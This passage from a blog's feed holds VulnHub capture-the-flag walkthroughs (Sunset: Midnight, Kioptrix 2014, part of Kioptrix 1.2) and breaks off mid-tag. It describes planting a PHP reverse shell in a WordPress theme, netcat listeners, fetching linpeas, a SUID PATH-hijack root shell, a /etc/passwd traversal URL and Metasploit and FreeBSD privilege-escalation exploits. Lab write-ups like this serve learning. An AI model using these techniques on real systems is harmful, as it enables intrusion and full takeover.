have typed admin in username and admin in password now lets try to login in .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iFyBf6XVhyg60oqTpfegMA.png" /><figcaption>Wordpress</figcaption></figure><p>Here we got into wordpress control pannel.Now our only task here to take reverse shell . Now lets go into Apperance-&gt;Theme Editor-&gt;Then 404 page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b1agS7-vcSZqLefjPq9f3A.png" /><figcaption>404 page</figcaption></figure><p>Now here we need to write a code for PHP revserse shell.We will take it from pentest monkey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F0yclRM-YIXTpeWc0H1tTw.png" /></figure><p>Here from <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">GITHUB</a> we got these php code here. Now we copy whole code and paste it in WP-CONTROL page .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_iFBdQvjKYrATsjQUw3jsg.png" /></figure><p>Here I have pasted this php reverse shell code on 404 template . Now we need to change the Ip address to our Kali&#39;s Ip address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*71VczEFRW8I_c7sraJanEQ.png" /></figure><p>Here by writting ifconfig command we got our Kali&#39;s Ip address. Now we will change the Ip in Php code and save that.After this we need to turn on <strong>netcat listner in our Kali.</strong></p><p>We will do it by writting <strong><em>nc -lnvp 1234 command. </em></strong>Here we have turned on listner on port number 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*ZlUvRoXsdlGYbSxjFoMjfw.png" /></figure><p>Now in url we will write<strong><em> wp-content</em></strong>/<strong><em>themes/twentynineteen/404.php</em></strong> after sunset midnight to get the 404 error page This is because we have wrote the code on twenty nineteen page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*-4F_lWxbZ2I3QpecI8tmWg.png" /></figure><p>And Here we got the reverse shell here .After Since my code was not working i changed my port number..</p><p>Now on Writting<strong> ls</strong> command we got this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*haL7PYvDXRQFdqLn5f09ng.png" /></figure><p>But we didn&#39;t found anything intresting here.Now when i got uname -a command we got to know that it is running Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Lpm3MG1RyodbNI6fYH6waA.png" /></figure><p>Since its running Linux lets try to run Linpeas.</p><blockquote>LinPEAS (Linux Privilege Escalation Awesome Script) is an automated script designed to search for possible paths to escalate privileges on Linux systems. It’s part of the larger Privilege Escalation Awesome Suite (PEAS) created by the CTF community to assist in both capturing the flag (CTF) competitions and real-world penetration testing scenarios.</blockquote><p>On the <a href="https://github.com/peass-ng/PEASS-ng/releases/tag/20240804-31b931f7">Github</a> i found this library. We will download the first one from here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PUcQiEQ8sQ3QDt0gDvidmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5fgIzA27wYtwRxZn7Sh_9Q.png" /></figure><p>After downloading this into our kali... we know that it is in download folder into our kali.Now we will create a python server so that from our kali we can send file to our target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*hZ_6M56eS75QcDJNMaQj4w.png" /></figure><p>Here i went into Download Folder and Made a python server by writtng</p><p><strong><em>python3 -m http.server 6000 command. </em></strong>Now in reverse shell we will go into the tmp folder by writing <strong><em>cd /tmp .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*zlyxdl7rmYCNXkINQs0Inw.png" /></figure><p>Here we in tmp folder now before doing anything we will upgrade our shell to tty shell we will do it by writting <strong><em>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ command.</em></strong></p><blockquote><strong><em>A TTY (teletypewriter) shell is a terminal session that provides a more interactive and robust environment compared to a basic shell.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*__cupNdZo295nHQtsrs_gQ.png" /></figure><p>Now we are in tmp folder now we need to download linpeas here.So we will download it by writting <strong>wget </strong><a href="http://192.168.45.184:6000/linpeas.sh"><strong>http://192.168.45.184:6000/linpeas.sh</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*bEP4IAxS3wdSEY7lliIegg.png" /></figure><p>Here we have downloaded<strong> <em>linpeas.sh</em></strong>....now we will write <strong><em>ls -la</em></strong> it will show all the hidden files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*wY1qkoveNkPZOhRMxlQ-uQ.png" /></figure><p>Here we have linpeas now we will give it executable permission by writting <strong><em>chmod +x linpeas.sh .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*omgbdMFR3ukdePU2RQfFew.png" /></figure><p>Here we gave it executable permisson now we will run it by typing</p><p><strong><em>./linpeas.sh command.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGUAqOPIsCaMj-yPkjEGsQ.png" /></figure><p>Here we have turned on <strong><em>Linpeas.sh .</em></strong></p><p>Here in <strong><em>SUID</em></strong> WE GOT THIS .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unrF_twMRIlqMzdueLj7JA.png" /></figure><blockquote><strong><em>SUID stands for Set User ID. It’s a special type of permission in Unix-like operating systems that allows a user to execute a file with the permissions of the file’s owner, rather than the permissions of the user executing the file.</em></strong></blockquote><blockquote><strong><em>For example, if a program has the SUID bit set and is owned by the root user, then when any user runs this program, it will run with root privileges. This is useful for programs that need elevated privileges to perform specific tasks but can pose a security risk if not managed carefully.</em></strong></blockquote><p>So we can some file using SUID this could give us root privileage.</p><p><strong>What is /usr/bin/status? If we run the strings command we can take a look.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*Qvjrhg2_q0G-23X9Y4rBAg.png" /></figure><p>Here we got some files and services.Running strings over the binary it appears that /usr/bin/status prints the information by running service ssh status.</p><p>What we do is that we can run this file through the tmp folder.</p><p>First we will see the path by writting <strong>echo $PATH.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*2QXN0aRKwNMhutyb1uNdpg.png" /></figure><p>Here we got our Path Now we will export our path .By writting</p><blockquote><strong><em>export PATH=/tmp:$PATH </em></strong>By setting /tmp as the first directory in your PATH, you ensure that when commands are run, the system will look in /tmp for executables before looking elsewhere. This allows you to control which version of an executable gets run if there are multiple versions available..</blockquote><p>After that we will write</p><blockquote><strong><em>echo “/bin/sh -p” &gt; /tmp/service </em></strong>This command creates a file named <em>service</em> in <em>/tmp</em> containing the command <em>/bin/sh -p</em>. The <em>-p</em> flag tells the shell to preserve privileges, meaning it will run with root privileges if invoked by a SUID binary.Here we are making a bash shell.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*y68RMdzTL46asJsUHxId2g.png" /></figure><p>Now we will executeable rights to /tmp/service by writting</p><p><strong>chmod +x /tmp/service</strong></p><p>And now we will run the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*8n5rAtYsnyCwWfvwh1vQEQ.png" /></figure><blockquote>Since /tmp is at the front of your PATH, when the SUID binary /usr/bin/status tries to execute its commands, it will find and run the service executable in /tmp instead of its normal functionality. The service executable in /tmp runs /bin/sh -p, which opens a shell with root privileges because the status binary is running with elevated privileges.</blockquote><p>Now we will write whoami command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/117/1*ptDe7KHiCxqDBp6qoJEWYg.png" /></figure><p>And We are Root ...Let’s grab the flag!</p><p>First we will go into the root folder by writting <strong><em>cd /root .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*vSGHcGoERR79Hp-O2MQb_Q.png" /></figure><p>On Writting<strong><em> ls</em></strong> command we got few files now lets try to open proof .txt</p><p>by writting<strong><em> cat proof.txt.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*-F_EH50pHtEV3lsfQSJ7kA.png" /></figure><p>And BOOM we got the flag key here.</p><p>We’ve successfully navigated through the “Sunset: Midnight” machine, from reconnaissance to privilege escalation. Key lessons include effective exploitation techniques and the importance of thorough analysis.</p><p><strong>Next Steps:</strong></p><ul><li>Practice on similar challenges.</li><li>Explore advanced techniques and tools.</li></ul><p>Thanks for reading! Stay curious and keep learning.</p><blockquote>My Linkden<a href="http://www.linkedin.com/in/krish-sheth-a661992b5"><strong> Link</strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63b1359e8799" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix 2014 | VulnHub Walkthrough by Krish Sheth.]]></title>
            <link>https://medium.com/@krishsheth23/kioptrix-2014-vulnhub-walkthrough-by-krish-sheth-1c3bc98d75ad?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c3bc98d75ad</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kioptrix]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Wed, 31 Jul 2024 07:46:21 GMT</pubDate>
            <atom:updated>2024-07-31T07:46:21.109Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to my walkthrough of the Kioptrix 2014 vulnerable machine! As part of my journey in ethical hacking and cybersecurity, I tackled this machine to sharpen my skills in penetration testing and vulnerability assessment. Kioptrix 2014 is designed to simulate real-world vulnerabilities, making it a valuable learning resource for both aspiring and experienced security professionals. In this guide, I’ll walk you through the steps I took to identify and exploit the vulnerabilities within the machine, providing detailed explanations and insights along the way. Whether you’re preparing for certifications like CEH or OSCP, or simply looking to improve your penetration testing skills, this walkthrough will help you understand the practical aspects of ethical hacking. Let’s dive in and explore the challenges and solutions that Kioptrix 2014 presents!</p><p>After Turning on the Kioptrix machine ,First i will use <strong>netdiscover</strong> command to find out about the machine ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*gpqN9Hw8ZgrYFqD7IbMoDQ.png" /><figcaption>Netdiscover</figcaption></figure><p>As I have opened the Kioptrix Machine in my Vmware here we can see the Machine Ip adress which is <strong><em>192.168.0.123 </em></strong><em>.</em></p><p>Next we will use <strong><em>nmap</em></strong> command to find out more about the target ip this will help us to know the open ports and the version they are running on.</p><p>As we are scanning we could the<em> Agressive </em>scan on the target ip.</p><p>We will use<strong> nmap-A (target ip)</strong> command to do the agressive scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*dc2FBlUowEA-9riWvyqHsg.png" /><figcaption>nmap -A</figcaption></figure><p>Here after doing Aggresive scan we got three ports open . <strong>SSH</strong> is running on <strong>Port 22</strong> and <strong>http service</strong> is running in both <strong>port 80</strong> and<strong> 8080 .</strong></p><p>Now since there is http service running ...Let&#39;s Check out the webpage .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*zFKx5uL_dDQ2EW2n6qrumA.png" /><figcaption>Webpage</figcaption></figure><p>Here we can see there is nothing special here .Lets try to add <strong><em>:80</em></strong> or <strong><em>:8080 </em></strong>after<strong><em> Ip address </em></strong>if we could find something there .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*fcBxOSZAia605_xIB5tNyQ.png" /><figcaption>Forbidden</figcaption></figure><p>Here we can see we are forbidden from entering webserver.</p><p>Lets try to check page source code if we find something there .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*O4oU-DTqtGh7Rem1teT-Pw.png" /><figcaption>URL</figcaption></figure><p>Here in the page source we found and <strong><em>URL</em></strong> which is commented.Lets try to paste this URL and checkout.</p><p>When i searched about this URL on google i got to know that …</p><blockquote><strong>PChart is a PHP-based charting library used to create various types of charts and graphs for web applications.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*svngyV9mTH8A74YK03WDgg.png" /><figcaption>Pasting URL</figcaption></figure><p>After I pasted URL here we Got this php application here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*ywPuHJYQ4O4ZiPYHZJSr7Q.png" /><figcaption>PHP Application</figcaption></figure><p>Here we got an PHP application here ... It just have normal files and we got nothing intresting here.A qucik chatgpt search and i found out that we can get some exploits.Lets try to search it on Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mkPvO-xy_GcBbYnraZ-c2w.png" /><figcaption>Searching for Exploits.</figcaption></figure><p>Here on Exploit Database we have found some exploits ...now lets search for it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TTbdm7D4VrKGIbWaggOZig.png" /><figcaption>Exploit DB</figcaption></figure><p>Here on Exploit Database we found out 2 Exploits here First one is <strong><em>Directory Traversal </em></strong>and second one is<strong><em> XSS .</em></strong></p><p>I dont think so XSS will be usefull so lets try Directory Traversal here .</p><p>Why we are using Directory Traversal???</p><blockquote><strong><em>- the issue with PChart (or similar software) can allow an attacker to view sensitive files on the server. This happens because the server runs the PChart code with its own privileges, which may be quite high. The attacker can exploit this flaw to access important files like password files, configuration files, or other critical data. This vulnerability can occur if the example code, which is often included for demonstration purposes, is mistakenly used in a live environment without proper security checks.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*0rMM0Q2oUPhaKnF_1ecxzQ.png" /><figcaption>Exploit URL</figcaption></figure><p>Here we got this URL -<em> </em><a href="http://192.168.28.133/pChart2.1.3/examples/index.php?Action=View&amp;Script=%2F..%2F..%2Fetc%2Fpasswd"><em>http://192.168.0.123/pChart2.1.3/examples/index.php?Action=View&amp;Script=%2f..%2f..%2fetc/passwd</em></a> .</p><h3>Breakdown of the URL</h3><ul><li><strong>http://192.168.0.123</strong>: This is the base URL, indicating the server&#39;s IP address.</li><li><strong>/pChart2.1.3/examples/index.php</strong>: This specifies the location of the script on the server that is being accessed. The examples directory suggests that this could be part of sample or demonstration code.</li><li><strong>?Action=View&amp;Script=</strong>: These are query parameters being passed to the PHP script.</li></ul><blockquote><strong>Action=View</strong>: This parameter might indicate that the script is supposed to display a file or content based on the value of the Script parameter.</blockquote><blockquote><strong>Script=%2f..%2f..%2fetc/passwd</strong>: The Script parameter value is attempting to exploit a path traversal vulnerability. The %2f is URL encoding for the forward slash (/). The sequence %2f..%2f..%2fetc/passwd translates to /../../etc/passwd after decoding.</blockquote><ul><li><strong>Path Traversal</strong>: The sequence /../../ is used to move up directories in the server&#39;s file system. This technique can bypass security controls by navigating to unintended directories.</li><li><strong>/etc/passwd</strong>: In Unix and Linux systems, /etc/passwd is a critical file that contains user account information. Accessing this file can reveal usernames and other potentially sensitive data. While modern systems typically store password hashes in /etc/shadow (which is more protected), the passwd file can still be useful for attackers in various ways.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*_4Y6xwCaq0RGc-CUhqJD5Q.png" /><figcaption>Result</figcaption></figure><p>After pasting the URL i got this page here .But here we didn&#39;t found anything intresting .</p><p>As we know it is running on Appache Server .Using same logic we can check why were Forbidden.</p><p><a href="http://192.168.28.133/pChart2.1.3/examples/index.php?Action=View&amp;Script=%2F..%2F..%2F%2Fusr%2Flocal%2Fetc%2Fapache22%2Fhttpd.conf"><em>http://192.168.0.123/pChart2.1.3/examples/index.php?Action=View&amp;Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf</em></a></p><p>i got this path from google...lets try to find out about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9T1ukMTmZZnm4h8KoULcQ.png" /><figcaption>Appache Config</figcaption></figure><p>Here i found out the reason why we were forbidden from entering port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*Dl_FD_Se3GREbhhj3JPUCg.png" /><figcaption>Mozzila</figcaption></figure><p>Here we can see only the Mozilla Browser is given the permisson.Since i was using google that is why i got the error ...Now lets try again opening it in mozilla browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*Mo3kWdRfztjYFiw15LcZ6g.png" /><figcaption>Mozzila error</figcaption></figure><p>Here we got an error again because of our user agent.As only user agent 4 is allowed ..Lets try to find a plugin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LUjPX75nipBOvk6Ny8D66w.png" /><figcaption>Plugin Find</figcaption></figure><p>I installed the plugin and also changed my user agent to 4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*mTVpFiQiLDKviKqSMQK6aQ.png" /><figcaption>Changing User agent</figcaption></figure><p>Here I changed My User agent to 4 and then reloaded the browser...</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UnnI19DlNvjI8qgME-ULlw.png" /><figcaption>User agent</figcaption></figure><p>And here we got a direcotry named phptax...</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ddX63mm-jPzLzYvmQeRVg.png" /><figcaption>phptax</figcaption></figure><p>On opening it we got this page here ...A quick google search about phptax...</p><blockquote><strong><em>PHPTax is an open-source web application designed for calculating and managing taxes. It is often used by individuals or small businesses to handle tax-related computations. The software is written in PHP, and it provides features for entering income, expenses, and other financial data to generate tax reports and estimates.</em></strong></blockquote><p>Since it is and web application lets try to find some exploits for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4QGWQqLIXiDHaPGvWah0Sw.png" /><figcaption>Exploits</figcaption></figure><p>Here since we can see it is on Metasploit lets try to open it on <strong><em>msfconsole</em></strong> and try the exploits there .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*jr6Tkuo8dHeNZji2xNCeXQ.png" /><figcaption>msfconsole</figcaption></figure><p>Here we will write <strong><em>search phptax...</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xfuq5Q1N_1TiaiL6mCgIRw.png" /><figcaption>exploit</figcaption></figure><p>Here we got the exploits now we will use it by writting <strong><em>use 0 .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*y7K8lczR5_ugY7frwCRzTg.png" /><figcaption>lhost</figcaption></figure><p>Here we will set Lhost to our kali ip address.</p><p>And Lport to any port number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*2H3lMy77H4_p3H7NluYq5Q.png" /><figcaption>Lport</figcaption></figure><p>And we will set Rhost to kioptrix machine ip.</p><p>And Rport to 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*fHknRvOg7zDRT2AqBqtNRg.png" /><figcaption>Rhost and Rport</figcaption></figure><p>Now weill search for payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J15e3FF6AN9ouAsxyA3QJA.png" /><figcaption>Set payloads</figcaption></figure><p>Here we will <strong><em>use 6th </em></strong>options … to set our payload .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*dtJ-upSG9wmDXQxEauUPBA.png" /><figcaption>set payload</figcaption></figure><p>Here i have set here my payload .</p><p>Since Apache sever is configured to work only with User Agent Mozilla 4 ..We need to specify it or else our exploit wont work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*ykoxO9gMTBJAhylqisxu1Q.png" /><figcaption>Setting User Agent</figcaption></figure><p>Now Lets try to run this exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zboUYtJhns8u59sfWMMBNQ.png" /><figcaption>Reverse SHELL</figcaption></figure><p>And here we got the reverse shell into the machine here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*hybJhxA2eWhi4b346DFknw.png" /><figcaption>Whoami</figcaption></figure><p>On Writting the <strong><em>Whoami</em></strong> Command we got to know that we are <strong>www</strong> user here so now we need to do<strong> privEscalation</strong> inorder to become the<strong> root </strong>user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5Vudr9Hi6ykE4zgLsBzGQ.png" /><figcaption>uname -a</figcaption></figure><p>On Writting uname -a we got to know that it is running FreeBSD as its Kernal.</p><blockquote><strong>The </strong><strong>uname -a command in Unix-like operating systems provides detailed information about the system, including the kernel name, version, and other system details. The kernel is the core component of the operating system, responsible for managing system resources such as memory, processes, and hardware devices. It serves as a bridge between the hardware and software</strong></blockquote><p>We could find some exploits related to FreeBSD here .Lets open another tab in Kali and search about this .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9BuiwDRAZouN-6QZteeeA.png" /><figcaption>searching for exploits</figcaption></figure><p>We found two exploit and both are for local privilege escalation .Now lets try to download it by writting searchsploit -p and the path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*qnSzVpyUDXJ4kyX4BuC7Qw.png" /><figcaption>downloading the exploits.</figcaption></figure><p>Now we will copy this to a folder i created on my desktop name exolits<strong><em>(The reason why i did was after copying we will go inside that folder and host a python server).</em></strong></p><p>we will write</p><p><strong><em>cp /usr/share/exploitdb/exploits/freebsd/local/28718.c /root/Desktop/Exploit</em></strong></p><p>This will copy our exploit in the exploits folfer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQurRtxOImr0ckx3WNeilA.png" /><figcaption>Inside the folder</figcaption></figure><p>Now we have copy our exploit here lets go inside this folder and host python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*u3u0dLUvlDcmgBbkJ3My9g.png" /><figcaption>Python server</figcaption></figure><p>Now Inside our reverse shell we will go inside the temp folder and download our exploits there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*Q4kC7lIsPgIuiHBSgp4ORg.png" /><figcaption>tmp</figcaption></figure><p>Now here we are in tmp folder now we will use curl function to get the exploit there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*3W59ReqnQk38D-UNtlxwlQ.png" /><figcaption>curl</figcaption></figure><p>netcat to transfer our exploits.On the another terminal we will open netcat listner with the exploits name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*H4v8kQZHy_NeK9jXVirSXA.png" /><figcaption>netcat</figcaption></figure><p>Here we have turned on the listner here now we will go onto the reverse shell and write this</p><blockquote><strong><em>nc 192.168.0.103(kali ip) 6565(netcat port) &gt; 28718.c (exploit name)</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*K1RTWm01VZFktUjMDFrVvg.png" /><figcaption>donwloading exploitd</figcaption></figure><p>After that when i wrote<strong><em> ls -la </em></strong>command i didnt get any output .</p><p>So i ended the sesssion and runned it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*bH5DN22xc1zfB4iCs_l-VQ.png" /><figcaption>ending session</figcaption></figure><p>Now when i when into tmp folder and wrote<strong><em> ls -la</em></strong> i got the exploits which i downloaded .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*7BjemIZvgD7wcS8vFdqRlA.png" /><figcaption>ls -la</figcaption></figure><p>I was getting error so i bymistakely downloaded it multiple time😓.Now i will write <strong><em>gcc</em></strong> command and complie our .c file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*tvIpHkmwWhUIUzdUudFYng.png" /><figcaption>gcc command</figcaption></figure><p>So now we will use <strong><em>chmod</em></strong> command and give permisson to read,write,and execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/157/1*H8h6TAegqdcmlR6T0i0q8A.png" /><figcaption>chmod</figcaption></figure><p>Now we will run our exploit by writting <strong><em>./ex</em></strong> command.</p><p>And after that we will write whoami command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/105/1*SdaF12iQ4FTf5db4YEnfVg.png" /><figcaption>root</figcaption></figure><p>And Kaboom🔥We are <strong><em>Root!.</em></strong></p><p>This was the goal for this machine .</p><p>This means that We successfully completed Kioptrix 2014</p><blockquote><em>My Linkden</em><a href="http://www.linkedin.com/in/krish-sheth-a661992b5"><strong><em> Link</em></strong></a></blockquote><blockquote><em>Kioptrix Level 1.2 ..</em><a href="https://medium.com/@krishsheth23/kioptrix-level-1-2-3-vulnhub-walkthrough-by-krish-sheth-37ca649cac05"><em>Link</em></a></blockquote><blockquote><em>Kioptrix Level 1 …</em><a href="https://medium.com/@krishsheth23/kioptrix-level-1-1-vulnhub-walkthrough-by-krish-sheth-921a309fa24a"><em> Link</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c3bc98d75ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix: Level 1.2 (#3) | VulnHub Walkthrough by Krish Sheth.]]></title>
            <link>https://medium.com/@krishsheth23/kioptrix-level-1-2-3-vulnhub-walkthrough-by-krish-sheth-37ca649cac05?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/37ca649cac05</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kioptrix]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[ceh-certification]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Sat, 27 Jul 2024 15:08:56 GMT</pubDate>
            <atom:updated>2024-07-27T15:08:56.882Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to my walkthrough for the Kioptrix Level 1.2 (#3) machine from VulnHub.The main goal is to gain root access on the Kioptrix Level 1.1 (#2) machine. This involves identifying vulnerabilities, exploiting them, and ultimately escalating privileges.</p><p>After Turning on the Kioptrix machine ,First i will use <strong>netdiscover</strong> command to find out about the machine ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*8fU_jY4KI1wDiOAqPNuHdA.png" /><figcaption>Netdiscover Command</figcaption></figure><p>As I have opened the Kioptrix Machine in my Vmware here we can see the Machine Ip adress which is <em>192.168.0.104.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*Pj8BdK-OqF53dllxD_RmYg.png" /><figcaption>Kioptrix Machine 1.2</figcaption></figure><p>Here Firsy we need to follow this instruction .Why we have to do this first ??</p><blockquote>-<em>The Kioptrix machine uses the domain name </em><em>kioptrix3.com for its web application. By adding an entry to your hosts file, you tell your computer that </em><em>kioptrix3.com corresponds to the IP address of the Kioptrix machine. This is necessary because otherwise, your computer won&#39;t know where to find </em><em>kioptrix3.com on the network, and you won&#39;t be able to access the web application on the machine.</em></blockquote><p>So now we will first open our terminal and and locate our host file.</p><p>We will enter host file by writting <strong><em>nano/etc/hosts</em></strong> command</p><ul><li>nano: This is the text editor you’re using to open the file.</li><li>/etc/hosts: This is the path to the hosts file you want to edit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*3GL9svrNVb5-L0guvf3GGw.png" /><figcaption>Host File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*PxjqY07DypGhFEgrRWve3A.png" /><figcaption>Modifying Host File</figcaption></figure><p>Here under localhost we wrote this <strong><em>192.168.0.104 kioptrix3.com.</em></strong></p><p>Here we wrote the Ip address of Kioptrix Machine here .After Saving the file we will exit it .</p><p>This ensures that the domain kioptrix3.com is matched with the IP of the vulnerable machine, allowing us to interact with Kioptrix.</p><p>Now we will First Check Out the website by typing Kioptrix Machine Ip in the URL .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*viJlAEwvq1DzSUW4-Aa00Q.png" /><figcaption>Kioptrix 3 Webpage</figcaption></figure><p>Here We Can See it is a website of &quot;<strong><em>LiGoat Security&quot; .</em></strong>Let’s visit the <strong><em>“Login”</em></strong> page of the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*FobRX85pSseu-OJIXyrH8Q.png" /><figcaption>Login Section</figcaption></figure><p>This Is Our Security Login Page here .</p><p>I attempted SQL injection on the login page but was unsuccessful. The page didn’t provide any error messages indicating whether the credentials were correct or incorrect, so we cant even use brute-force methods to bypass the login.</p><p>Here we can see written that it is powered by <strong><em>LotusCMS.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAZqcuWWy_3WBENgqpg1ZA.png" /><figcaption>Google Search</figcaption></figure><p>A quick Google Search Showed Us that <strong><em>Lotus CMS </em></strong>is a <strong><em>php application</em></strong> which is affected by <strong><em>Vulnerablities .</em></strong></p><p>We will try to seach if we could find any exploit related to it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sHrFnR8oPiz6R6JJK5oeqw.png" /><figcaption>Finding Exploits</figcaption></figure><p>Here When we wrote <strong><em>Searchsploit LotusCMS</em></strong> we got <strong>2</strong> exploits here .We will download it by writing <strong><em>searchspliot-p </em></strong>thent the path name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*U29DGikHDVmn9_UhN15cmQ.png" /><figcaption>downloading exploit</figcaption></figure><p>Now we will Create a folder name exploit into our Desktop and copy this exploit there . After coping it when i opened the exploit file we can see that it is plain text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lkcmdz3oINCJ0q_mhg_hKw.png" /><figcaption>Text File</figcaption></figure><p>We will go on goole and find if we can get any exploit there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*7HQS96cYn6nJZfYDLYEnCQ.png" /></figure><p>Here I found this one lets open this<a href="https://github.com/Hood3dRob1n/LotusCMS-Exploit"> GitHub Repo</a> [you can click this and open it directly:) ] and check it out.</p><figure><img alt="" 